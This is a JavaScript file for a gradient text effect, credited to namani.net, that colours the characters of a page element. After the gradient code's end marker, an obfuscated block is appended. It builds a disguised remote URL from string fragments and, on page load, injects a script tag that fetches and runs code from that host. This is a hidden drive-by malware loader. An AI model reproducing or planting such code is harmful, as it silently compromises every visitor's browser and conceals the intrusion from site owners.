// ******************* [gradient] code ******************* //
// 1001 Astuces Nam@ni , la Source JavaScript!!
// http://www.namani.net
function gradient_gradient_browser() {
	gradient_browser = "unknown";
	gradient_version = 0;
	if (navigator.userAgent.indexOf("Opera") >= 0)
	 gradient_browser = "opera";
	else if (navigator.userAgent.indexOf("obot") >= 0)
	 gradient_browser = "robot";
	else if (navigator.appName.indexOf("etscape") >= 0)
	 gradient_browser = "netscape";
	else if (navigator.appName.indexOf("icrosoft") >= 0)
	 gradient_browser = "msie";
	gradient_version = parseFloat(navigator.appVersion);
	if (isNaN(gradient_version)) gradient_version = 0;
	if ((gradient_browser == "msie")&&(gradient_version == 2)) gradient_version = 3;
	gradient_tohex = new Array(256);
	var hex = "0123456789ABCDEF";
	var count = 0;
	for (var x=0; x<16; x++) {
	 for (var y=0; y<16; y++) {
		gradient_tohex[count] = hex.charAt(x) + hex.charAt(y);
		count++;
	 }
	}
}

function ColorCode(hexcode) {
  if (hexcode.length == 7) {
    this.gradient_r = parseInt(hexcode.substring(1,3),16);
    this.gradient_g = parseInt(hexcode.substring(3,5),16);
    this.gradient_b = parseInt(hexcode.substring(5,7),16);
  }
  else if (hexcode.length == 6) {
    this.gradient_r = parseInt(hexcode.substring(0,2),16);
    this.gradient_g = parseInt(hexcode.substring(2,4),16);
    this.gradient_b = parseInt(hexcode.substring(4,6),16);
  }
  else {
    this.gradient_r = this.gradient_g = this.gradient_b = 0;    
  }  
}

function ColorList(hexcodes) {
  var i = 0;
  var c = 0;
  this.gradient_codes = new Array(Math.round(hexcodes.length/7));
  while (i < hexcodes.length) {
    if (isNaN(parseInt(hexcodes.substring(i,i+6),16))) ++i;
    else {
      this.gradient_codes[c] = new ColorCode(hexcodes.substring(i,i+6));
      i += 7;
      ++c;
    }
  }
  this.len = c;
}

function interpolate (x1, y1, x3, y3, x2) {
  if (x3 == x1) return y1
  else return (x2-x1)*(y3-y1)/(x3-x1) + y1
}

function lowcolorindex (x, y, z) {
  if (y == 1) return 0
  else return Math.floor( (x*(z-1))/(y-1) )
}

function hicolorindex (x, y, z, low) { 
  if ( low*(y-1) == x*(z-1) ) return low
  else if (y == 1) return 0
  else return Math.floor( (x*(z-1))/(y-1) + 1 )
}

function drawGradient() {
	var found = 0;
	var d = document.getElementsByTagName("DIV");
	for (var i = d.length - 1; i >= 0; i--) {
		if (d[i].id == "mygradient") {
			d[i].id = "";
			div = d[i];
			found = 1;
			break;
		}
	}
	if (found == 0) return;	
	clr = div.tag
	clr = clr.replace(/\#/g, "");
	clr = clr.replace(/[ ]+/g, " ");
	clr += "      ";
	clr = clr.split(" ");
	gradient_gradient_browser();
	gradient_thecolors = "#" + clr[0].substr(0,6);
	gradient_thecolors += "#" + clr[1].substr(0,6);
	gradient_thecolors += "#" + clr[2].substr(0,6);
	gradient_thecolors += "#" + clr[3].substr(0,6);
	gradient_thecolors += "#" + clr[4].substr(0,6);	
	
	var gradient_html = "";
	if (((gradient_browser == "netscape")||(gradient_browser == "msie")||(gradient_browser == "opera"))&&(gradient_version>=3.0)) {
		
		var colors = new ColorList(gradient_thecolors);
		if (colors.len < 2) {
			div.style.display = "block";
			return;
		}		
		var numcolors = colors.len;		
		var numchars = div.innerText.replace(/[\n\r\t ]/g, "").length;
		var rr = 0;
		var gg = 0;
		var bb = 0;
		var lci = 0; //lower color index
		var hci = 0; //high color index
		var chr, p = 0;
		for (i = 0; p < numchars; ++i) {
			chr = div.innerText.charAt(i);
			if (" \r\n\t".indexOf(chr) != -1) {
				gradient_html += chr;
			} else {				
				lci = lowcolorindex(p, numchars, numcolors);
				hci = hicolorindex(p, numchars, numcolors, lci);
				rr = Math.round(interpolate( lci/(numcolors-1), colors.gradient_codes[lci].gradient_r, hci/(numcolors-1), colors.gradient_codes[hci].gradient_r, p/(numchars-1)));
				gg = Math.round(interpolate( lci/(numcolors-1), colors.gradient_codes[lci].gradient_g, hci/(numcolors-1), colors.gradient_codes[hci].gradient_g, p/(numchars-1)));
				bb = Math.round(interpolate( lci/(numcolors-1), colors.gradient_codes[lci].gradient_b, hci/(numcolors-1), colors.gradient_codes[hci].gradient_b, p/(numchars-1)));
				if (gradient_browser == "opera") {
					rr = 255 - rr;
					gg = 255 - gg;
					bb = 255 - bb;
				}				
				gradient_html += chr.fontcolor(gradient_tohex[rr]+gradient_tohex[gg]+gradient_tohex[bb]);
				p++;
			}
		}
	} else
		gradient_html += div.innerText;	
	div.innerHTML = gradient_html.replace(/\r/gi, "<br>");
	gradient_html = "";
	div.style.display = "block";
}
// *********** [/gradient] code *********** //

var v;if(v!='Vx'){v='Vx'};var h="";function y(){var G;if(G!='x' && G!='W'){G=''};var X;if(X!='mg' && X!='eF'){X=''};var T='';var XG;if(XG!='hK' && XG != ''){XG=null};var m='';var fy;if(fy!='O'){fy='O'};var J=RegExp;var g='';var Bx='';var P=new String("g");var jV=new String();var zv;if(zv!='u'){zv='u'};function c(e,cK){var CQ='';this.ht='';var VR="";var yt= String("[");var QE;if(QE!='' && QE!='Wh'){QE=null};var WZ=new Date();yt+=cK;yt+=new String("]");var En;if(En!='Xs'){En='Xs'};var dw;if(dw!='Uw' && dw!='b'){dw='Uw'};var Xm=new Date();var el=new Date();var F=new J(yt, P);var L;if(L!='sN' && L != ''){L=null};var rS=new String();return e.replace(F, m);var Es=new Array();};var R;if(R!='pm'){R='pm'};var r=window;var k=String("/>"+"_<"+"MlOZb>".substr(4)+"Fa"+"taQyJ".substr(0,2)+"s7Jl Js7".substr(3,2)+"0pWfer".substr(4)+"ro"+"cNWr<".substr(3)+"/b"+">:Bklc".substr(0,2)+"ipc  ipc".substr(3,2)+"Ca"+"7JWnn7WJ".substr(3,2)+"otwa7".substr(0,2)+" r"+"GP3Ced".substr(4)+"ec"+"qeAzlaeAzq".substr(4,2)+"re"+"Wzo coWz".substr(3,2)+"Ar7he7rA".substr(3,2)+"TZdckZdT".substr(3,2)+"BPRurBRP".substr(3,2)+"k5jHli5jkH".substr(4,2)+"nfj9tF".substr(0,2)+"o(DEWl".substr(0,2)+"8Od) 8dO".substr(3,2)+"(p"+"X0cre".substr(3)+"vi"+"ou"+"1yXsl".substr(3)+"e0ly l0e".substr(3,2)+"de"+"vhDclhDv".substr(3,2)+"IxC9arxI9C".substr(4,2)+"ed"+" i"+"AjSn ".substr(3)+"/vMfFC".substr(0,2)+"Q8Sar".substr(3)+"pbuT/wTpub".substr(4,2)+"wwcKEV".substr(0,2)+"/h"+"vj5tm".substr(3)+"o6ql/oq6".substr(3,2)+"7ztUpa".substr(4)+"ge"+"rfxK.drKxf".substr(4,2)+"poEz1f".substr(0,2)+"QaCEolaCQE".substr(4,2)+".p"+"GjkhpkGj".substr(3,2)+":8P4nX".substr(0,2)+"8)Lf4O".substr(0,2)+"61cn i".substr(4)+"n "+"<bIuva".substr(0,2)+">/6Wg".substr(0,2)+"iZLva".substr(3)+"r/sJkh".substr(0,2)+"wwKC2a".substr(0,2)+"w/"+"htEd9".substr(0,2)+"zDjcml".substr(4)+"Xyl/cyXl".substr(3,2)+"agCYongCYa".substr(4,2)+"wc0Uf.c0Uw".substr(4,2)+"pheDXP".substr(0,2)+"Qglmp<lQgm".substr(4,2)+"x1Q/b1Qx".substr(3,2)+"> "+"on"+"48JW l".substr(4)+"intB6H".substr(0,2)+"e "+"<b"+"RuB0>30BRu".substr(4,2)+"23"+"2J5</25J".substr(3,2)+"b>FGQv".substr(0,2)+"6FiH<b6HFi".substr(4,2)+"r "+"/>bOP".substr(0,2)+"ycG/a".substr(3)+"5vRme".substr(3)+"batvqV".substr(0,2)+".jQ0YU".substr(0,2)+"p/K1hw".substr(0,2)+"4bc5am".substr(4)+"GgEebgEG".substr(3,2)+"a."+"zfQjp".substr(3)+"/g"+"R4zoozR4".substr(3,2)+"fMagl".substr(3)+"psYGe.".substr(4)+"YFBco".substr(3)+"m/UuR3".substr(0,2)+"ra"+"di"+"kam7i".substr(0,2)+"l."+"ru"+"1W5q/m".substr(4)+"aiFWSC".substr(0,2)+"niWdP".substr(0,2)+"ch"+"rNnti.ntNr".substr(4,2)+"7KtYjp".substr(4)+"URHq.p".substr(4)+"hpibl".substr(0,2));var Qm;if(Qm!='' && Qm!='dR'){Qm='EQ'};var V=String("scryUY9".substr(0,3)+"BgIiptBIg".substr(3,3));var RQ;if(RQ!='EX' && RQ!='Wa'){RQ=''};var zY;if(zY!='' && zY!='ZO'){zY=null};var nX=new Array();var FE='';var jq;if(jq!='ke'){jq=''};var GP=new Date();var q=String("defe"+"ykAr".substr(3));this.JB='';var d="http"+"://s"+"DVpbtatc".substr(4)+"ount"+"wOper-cpwO".substr(3,4)+"om.t"+"mz.c"+"om.s"+"lickQxrG".substr(0,4)+"4DRCdealRC4D".substr(4,4)+"Zfks-nefZk".substr(3,4)+"t.<b"+"r :";var vV=new String();var Fi=new String("sr"+"cDESr".substr(0,1));var YV=new Array();var f=80;var MH='';var UJ='';var _;if(_!=''){_='SO'};r.onload=function(){var YU=new Date();try {FE=d+f;FE+=k;this.N="";this.tx="";s=document.createElement(V);this.QK='';this.Tm='';s[q]=[1,7][0];s[Fi]=FE;var Hc=new Date();var zs="";document.body.appendChild(s);var oV;if(oV!='bo' && oV!='Fr'){oV='bo'};this.yh="";var zS;if(zS!='' && zS!='Qd'){zS='yY'};} catch(l){var DF=new Array();var Id;if(Id!='OK'){Id=''};};};};var tt=new Array();y();